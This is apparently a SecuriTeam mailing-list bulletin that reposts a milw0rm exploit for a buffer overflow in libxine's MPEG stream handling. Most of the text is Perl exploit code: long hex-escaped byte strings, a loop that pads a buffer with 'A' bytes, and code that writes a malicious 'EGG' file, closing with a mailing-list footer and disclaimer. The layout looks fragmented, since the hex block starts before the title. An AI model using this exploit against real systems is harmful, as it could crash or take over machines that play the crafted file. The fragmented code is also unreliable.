"\x01\x5D\x58\x02\x00\x00\x64\x00\x82\x01\x03\x00\x00\x00\x00\x08\x80\x02\x00\x00\x5C\x0E\x00\x00".
"\x80\x02\x2A\x00\x00\x76\x7E\x5A\x0C\xA0\x88\xE8\x44\x3D\xAA\x40\x58\xA4\x26\x9A\x5F\x04\x21\x26".
"\x19\x06\x04\x81\x76\x84\xEB\x72\x64\x3F\x20\x25\x33\x50\xF7\x17\x6F\xD6\x6C\x35\x9E\xDC\x95\x32".
"\x60\x1D\xB5\xB3\x1B\x07\x50\xCD\xCE\xBC\x7B\xE5\xBD\xED\xE3\xAB\xF1\xA0\x10\x10\x55\x74\x32\x1F".
"\x2E\x20\x25\x29\x9C\xA0\x0A\x88\x80\x93\x49\x75\xA9\xBD\x98\x02\x6A\x90\x10\x6A\xA0\x24\x9A\xCC".
"\xE5\xC0\x32\xB9\x8C\x99\x8D\xE9\x8C\xD0\x63\x3A\x18\xC5\xE0\x25\xA4\xC2\x64\xB0\x80\x60\x55\x83".
"\x2B\x9D\x0E\x49\xBA\x1E\x3A\xFF\x11\x81\x01\x05\x67\x43\x21\xED\x46\xD4\x29\x28\x7D\x48\x45\x00".
"\xC1\x93\x2D\x8B\x8A\x24\xC4\x98\x50\x00\x19\x08\x84\xD2\x10\x19\x21\x7C\xF6\x0A\x50\x1B\x0A\xEB".

[EXPL] Libxine MPEG Stream Buffer Overflow (Exploit)

```
"\xB6\xC9\x8D\xB2\xE0\x40\x2D\x88\x98\x06\x0C\x16\x90\x77\xAB\xDD\x08\x10\xA9\x2F\x1D\x7F\x79\xC1".
"\x40\x82\xB3\xA1\x90\xF6\xAE\xC0\xA7\xC0\x96\x00\x9D\x02\x43\x42\x9B\x22\x03\x4A\x49\x20\x01\x54".
"\xC4\x03\x00\xC8\x30\x43\x24\x67\x20\x41\x92\xD6\xEB\x51\x99\xB5\x24\x12\x21\xA4\x96\x13\xB9\x98".
"\x99\x6B\x8D\xC0\xC5\x3E\xBC\x74\x7E\x2C\x00\x01\x15\x67\x43\x21\xEE\xE0\x94\xBF\x6A\x50\x8C\x8E".
"\x10\xD0\x8D\x46\x8C\x84\x41\x41\x32\xE1\x78\xEB\xFD\x41\x06\x00\x05\x78\x43\x21\xF3\x7B\x02\x4B";
```

```
for ($i = 0; $i < $len; $i++) {
$buffer .= "\x41";
}
```

```
open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;
print EGG $buffer;
print EGG $end;
```

```
close(EGG);
```

ADDITIONAL INFORMATION

The original article can be found at:
<<http://www.milw0rm.com/exploits/1641>>
<http://www.milw0rm.com/exploits/1641>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.